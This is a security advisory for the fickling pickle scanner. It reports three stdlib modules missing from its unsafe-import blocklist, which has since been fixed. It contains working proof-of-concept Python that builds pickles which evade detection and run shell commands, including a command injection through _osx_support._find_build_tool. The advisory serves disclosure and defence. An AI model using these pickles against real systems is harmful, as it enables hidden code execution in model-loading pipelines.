Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

• fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

| Module | RCE Function | Internal Mechanism | Importable On | |--------|-------------|-------------------|---------------| | uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) | All platforms | | _osx_support | _read_output(cmdstring) | os.system(cmd) via temp file | All platforms | | _osx_support | _find_build_tool(toolname) | Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) | All platforms | | _aix_support | _read_cmd_output(cmdstring) | os.system(cmd) via temp file | All platforms |

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

1. NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
2. UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
3. OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
4. UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

"uuid",
"_osx_support",
"_aix_support",

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

• Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
• Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
• Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
• fickling source: analysis.py UNSAFE_IMPORTS set